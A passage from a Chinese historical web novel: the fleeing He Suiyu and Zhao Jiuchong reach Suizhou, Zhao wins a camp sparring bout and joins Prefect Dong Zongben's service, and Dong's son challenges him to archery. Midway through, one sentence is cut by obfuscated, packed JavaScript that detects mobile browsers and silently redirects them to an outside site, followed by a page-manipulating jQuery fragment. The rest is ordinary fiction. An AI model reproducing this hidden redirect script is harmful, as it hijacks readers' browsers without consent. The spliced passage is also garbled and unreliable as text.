那男人本来不服气,觉得赵九重的举动下了他的面子,张嘴就要开骂,但是一抬头,看见赵九重身材高大又一身肌肉,而且赵九重不知道是不是故意的,活动手腕,把拳头捏得咯吱作响。 那男人张开的嘴,又默默闭上了,看见赵九重脸上不好惹的表情,扯着嘴笑了一下,规规矩矩去后面排队了。 贺岁愉低声骂道:“欺软怕硬的狗东西!” 若是她今儿个一个人站在这儿排队,肯定赶不走那插队的汉子。 贺岁愉点点头,赵九重这个保镖果然还是一如既往地好使。 但是在城门口排队的时候,她总是会想起上一次不好的经历,希望这一次不要出什么意外才好啊。 48.第 48 章 可惜,天不遂人愿,贺岁愉和赵九重正要出城时,沈林的人追来了。 “抓住那个逃妾!”他们大喊着。 贺岁愉慌了神,她一回头,就看见那群人凶神恶煞地远远朝他们冲过来。 赵九重眉心一跳,顾不得其他,用最快的速度翻身上马,把贺岁愉一把捞起来,粗暴地横放在马背上,骑着马从城门口冲开官差,朝城外飞奔而去。 身后的人很快追出城,骑着马在身后追赶他们。 赵九重马术高超,没多久,便将他们远远落在身后。 贺岁愉高高悬起的心得以喘息,她像条死鱼一样趴在马背上,颠簸得胃里的酸水都要吐出来了,见那些人被暂时甩在身后,贺岁愉连忙大喊:“我、我要换个姿势。” 赵九重抓着她的肩膀帮她坐起来,贺岁愉这才感觉顶得火烧火燎的胃渐渐平复下来。 她五官皱成一团,忍不住拍拍胸口,“都要给我颠吐了。” 赵九重笑笑,骑着马一路飞奔,终于甩开了他们。 马儿跑累了,速度逐渐慢下来,贺岁愉看着这马似曾相识的颜色,想到了那匹为了救他们冲进火堆里的马儿。 “它有名字吗?”贺岁愉问。 赵九重顿了一下,声音低沉:“还叫麒麟。” 贺岁愉正在摸马儿的脖子,闻言,手中动作也是一顿。 乱世里死人太常见了,更何况是一匹马。但是贺岁愉至今能清楚地记得,那马儿赴死时,那双饱含热泪、充满悲伤却又毅然决然的黑色眼睛。 “好马儿,快快跑。”她摸着马儿赤色的鬃毛轻声说。 赵九重骑着马带着贺岁愉赶路,除了中途放马儿吃草和饮水,两个人几乎没有停歇,一直在赶路。 贺岁愉害怕沈林的人追上来,一旦追上,沈林绝对不会放过她,要了她的小命都是有可能的,所以对于赵九重安排的如此紧密的奔逃计划也没有丝毫异议。 既然她都已经跑路了,还不跑快点儿,岂不是找死? 四日后, 贺岁愉和赵九重抵达随州城。 赵九重离开近十日之久,不知道军营那边的情况如何,将贺岁愉暂且安顿在客栈里以后,他便马不停蹄地赶往城外军队驻扎的军营。 狂风吹过山林,卷过营帐,将旌旗吹得猎猎作响,穿过营地,又卷起地上的沙尘,扑簌簌飞远了。 赵九重回来这日,正好赶上新人大比武。 密密麻麻的士兵围了一个大圈,时而喝彩,时而叹气,人群的喧闹声不止。 赵九重也站在人群里看,中间的空旷场地上,那士兵身形魁梧,壮得像一座山似的,有一身使不完的牛劲儿,而且身手极好,已经打败了一连打败了两个人,现下第三个挑战者也被他按在了地上。 他将对手狠命抻到地上,对方当即惨叫一声,撞得头破血流。 那男人哈哈大笑着,一脚将地上的士兵踹飞出去,“怂包,就你这样的还敢跟爷爷我打!” 今日不过是军营内部的比武切磋而已,大家都是自己人,这人未免下手太过狠辣。 “还有没有人来?”他昂首高声问。 人群里见前面三个跟他打的人都是被抬下去的,一时间,都十分忌惮,不敢轻举妄动。 “没人敢跟爷爷我打了吧!一群怂包!”他哈哈大笑着。 “我来!”赵九重忽然出声。 那士兵笑声止住了,看向刚刚出声的方向。 赵九重拨开人群,走到前面的空地上。 “你?”那士兵打量着赵九重,不太看得上眼,“你这个小白脸挨得住爷爷一拳么?” 赵九重并不为他的狂妄语气恼怒,“试试便知。” 说着,他走到了空地中间,那士兵的面前。 二人相对抱拳。 那士兵率先朝赵九重冲了过来,赵九重不躲不避接下了对方这一拳,眼睛都不眨一下,仿佛极为轻松。 士兵当即给了赵九重一个横扫腿,赵九重用腿抵住,那人的腿突然卡在了一半儿的位置上,重心不稳,“砰——”一声摔在了地上。 那人连忙向后翻滚,一溜烟从地上爬起来,眯了眯眼睛看向赵九重,“小子,你有点儿东西。” 赵九重拱手,明明有几分得意,但是口中却道:“承让。” 男人又冲了过来,赵九重这回脸上的表情认真了许多,他光防御也不是办法,他还是得主动出击,二人有来有回地过了数十招。 那男人身形笨重,不如赵九重灵动敏捷,那男人只顾一个劲儿地进攻,却疏于防守,赵九重一侧身到了他侧后方,猛地一脚将对方踹趴在地上,然后以迅雷不及掩耳之势反绞对方双手,将对方按在了地上制服。 “好功夫!”人群后面忽然有掌声。 一个穿着红色圆领襕衫、头戴黑色幞头的中年男人从人群中走出来,站在对面的将领连忙上前行礼,“刺史大人!” 其余一众低阶士兵连忙跟着行礼。 身着红色圆领襕衫的男人走到赵九重面前,“你叫什么名字?” 赵九重不卑不亢地回答:“卑职赵匡胤。” 刺史大人目光顿了一下,“护圣都指挥使赵弘殷是你什么人?” “正是家父。” 董宗本满意地点了点头,“果然是虎父无犬子啊。” *** 新人比武结束以后,赵九重本来正与余大壮说话,突然有一个士兵过来,“哪个是赵匡胤?” “我是。”赵九重说。 “刺史大人传你过去。” 赵九重跟着士兵,去了不远处的营帐。 一进去,赵九重先看了营帐里挂着的舆图,正是河中府的地势图。 “你来看看,若要攻打河中,你觉得用何种策略最好?” 赵九重看向舆图,缓缓开口说:“河中府周边地势开阔平坦,可在城池四周修筑长堤,将反贼们围困在城中,切断他们的粮食补给。同时,在城外挖深沟、修栅栏,防止反贼突围。” “城中粮尽,自然人心惶惶,到时候便可耗费最小的兵力便将他们拿下。” “说得好,”董宗本说,“贤侄真是跟我想到一块去了。” 董宗本问:“你可愿跟在我身边做事?” 赵九重眼睛一亮,当即应下:“此乃卑职之幸。” *** 赵九重得董宗本赏识,被董宗本调去了身边做事,便不必住在城外的军营中,跟着董宗本回刺史府。 贺岁愉本来百无聊赖趴在客栈的窗户上,赵九重不在,就剩她一个人,她本来想睡觉,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15149687|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这会儿不知道为什么又睡不着,所以就趴在窗户上看外面的行人。 听到下面叫卖绿豆糕和红豆糕的,她有些意动。刚出炉的绿豆糕和红豆糕香味飘散的很远,像带着勾人的钩子似的,勾得贺岁愉的心直痒痒。 从沈林那儿薅的首饰,她已经悉数拿去当了,现下手里也有些钱,买点儿糕点打个牙祭还是不成问题的。 贺岁愉兴冲冲地跑下楼买绿豆糕,“给我来两块绿豆糕,两块红豆糕。” “好嘞,一共八文钱。”老板动作麻利地将糕点递给贺岁愉。 贺岁愉从掏出钱给了老板,刚转过身,前面的街道忽然喧闹起来。 有士兵在前面开道,两个骑兵在最前面开路,一个蓄着黑色胡须、穿着红色官袍的大官骑着高头大马走在前面,贺岁愉心道:当大官的出门还真是气派,这么多士兵前拥后簇。 忽然,她看见大官后面那个熟悉的身影。 赵九重? 他怎么会在这里? 短短半天不见,他就发达了? 早上走的时候,顾不得一身风尘仆仆连忙出城去军营了,下午就跟在大官后面随侍左右了。 贺岁愉站在街边的人群里,朝赵九重挥手,赵九重很快注意到她,朝她笑。 大官的队伍很快过去,他们只来得及有短暂地眼神交汇。 贺岁愉看着远去的队伍,拿起绿豆糕咬了一口,脸上表情满足。 赵九重,苟富贵,毋相忘啊。 *** 另一边, 赵九重跟着董宗本到了董府,董宗本让管家给赵九重安排一个住的房间。 管家躬身应是。 “赵公子,请跟我来。”管家领着赵九重去客院。 穿过花园时,刚转过一座假山,一支寒光凌冽的箭矢忽然破空而来,赵九重连忙退后一步,箭矢直直插入了假山的石缝中。 前面的管家被突如其来的箭矢吓了一跳,转过身来问:“赵公子没事吧?” 赵九重摇了摇头。 一个年轻男子的声音在前面的花园空地上响起,“李二,你这准头也太差了!” 另一个声音奉承道:“我自然比不得董公子能百步穿杨、箭无虚发。” 一个小厮上前来拔被射入假山的箭矢,但是箭矢插得深,他费力拔了好几下,才拔出来。 那花园空地中,比试箭法的几个锦衣公子,这才注意到了管家和管家身后的赵九重。 中间那气宇轩昂、衣着华贵的公子问:“管家,这人是谁?” 管家恭恭敬敬地回答:“回禀少爷,这是老爷今日从军营带回来的赵公子。” 董遵诲打量一番赵九重,“能让我爹从军营里把人领回来,想必你有几分本事咯?” 赵九重拱手,语气谦卑:“不敢当。” 董遵诲没理会赵九重的谦卑之词,自顾自地下了命令:“既然有几分本事,那便过来与我比试一二。” 赵九重只好上前。 旁边一众公子嘻嘻哈哈地笑着,打量着赵九重一身寒酸衣着,露出别有意味的笑容,甚至有人已经面露轻蔑。 董遵诲指了指前面的靶子,“看到前面那个靶子了么,一人三只箭,环数高者获胜。” 语气间尽是从容与自信。